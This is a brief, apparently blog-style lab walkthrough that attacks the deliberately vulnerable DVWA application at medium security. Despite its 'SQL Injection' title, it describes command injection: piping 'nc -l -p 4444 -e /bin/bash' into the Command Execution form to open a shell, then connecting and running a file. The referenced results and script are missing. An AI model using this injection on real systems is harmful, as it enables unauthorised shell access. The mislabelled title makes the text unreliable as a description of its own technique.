Exploit DVWA with SQL Injection

in this time backtrack a victim, at DVWA with medium security,

after than try to ping ip, and the result as below

and than write at Command Execution ( | nc -l -p 4444 -e '/bin/bash' ) without the brackets, the result as below

write " nc 192.168.56.1 4444 " (without the quotes) and after that try typing " ls " (without the quotes) to find out whether it has been entered into backtrack

and than execute file execution ./18411

Below is a script file that is generated